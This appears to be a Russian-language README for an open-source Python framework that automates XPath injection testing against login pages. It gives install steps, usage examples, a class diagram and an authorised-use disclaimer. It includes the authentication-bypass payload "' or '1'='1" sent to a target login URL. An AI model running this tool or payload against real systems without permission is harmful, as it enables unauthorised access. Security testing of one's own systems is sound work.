Продвинутый фреймворк для тестирования XPath-инъекций с использованием современных подходов ООП Python.
- 🛡️ Различные типы XPath-инъекций
- 📊 Подробная система отчетности
- 🔄 Автоматический retry механизм
- 📝 Расширенное логирование
- ⚡ Измерение производительности
- 🔌 Расширяемая архитектура
# Клонирование репозитория
git clone https://github.com/Kaneki-hash/Xpath-Injection-Parser.git
# Установка зависимостей
pip install -r requirements.txt
python run_injector.py --url https://target.com/login -v
from xpath_injector import XPathInjector, AutomatedInjector
# Создание инжектора
injector = XPathInjector("http://target-site.com/login")
# Создание автоматизированного тестировщика
automated = AutomatedInjector(injector)
# Запуск кампании
automated.run_campaign()
# Получение отчета
report = automated.generate_report()
from xpath_injector import XPathInjector, InjectionType, PayloadGenerator
class CustomPayloadGenerator(PayloadGenerator):
def generate(self) -> List[str]:
return [
"custom_payload_1",
"custom_payload_2"
]
injector = XPathInjector("http://target-site.com/login")
injector.payload_generators[InjectionType.CUSTOM] = CustomPayloadGenerator()
classDiagram
class BaseInjector {
<<abstract>>
+generate_payload()
+execute_injection()
}
class XPathInjector {
-target_url: str
-session: Session
+execute_injection()
}
class InjectionResult {
+success: bool
+payload: str
+response_data: str
+execution_time: float
}
BaseInjector <|-- XPathInjector
XPathInjector --> InjectionResult
class XPathInjector(BaseInjector, LoggingMixin, TimingMixin):
"""
Основной класс для выполнения XPath-инъекций.
Attributes:
target_url (str): URL целевого сайта
session (requests.Session): Сессия для HTTP-запросов
successful_payloads (List[InjectionResult]): Успешные инъекции
"""
injector = XPathInjector("http://target-site.com/login")
result = injector.execute_injection("' or '1'='1")
if result.success:
print(f"Уязвимость найдена! Время выполнения: {result.execution_time}")
Мы приветствуем вклад в развитие проекта! Вот как вы можете помочь:
- Fork репозитория
- Создайте ветку для новой функциональности
git checkout -b feature/amazing-feature
- Commit изменения
git commit -m 'Add amazing feature'
- Push в ветку
git push origin feature/amazing-feature
- Создайте Pull Request
Распространяется под лицензией MIT. Смотрите LICENSE для деталей.
Этот инструмент предназначен только для образовательных целей и тестирования собственных систем. Использование против чужих систем без разрешения является незаконным.
requests>=2.26.0
typing-extensions>=4.0.0
python-dateutil>=2.8.2
logging>=0.5.1.2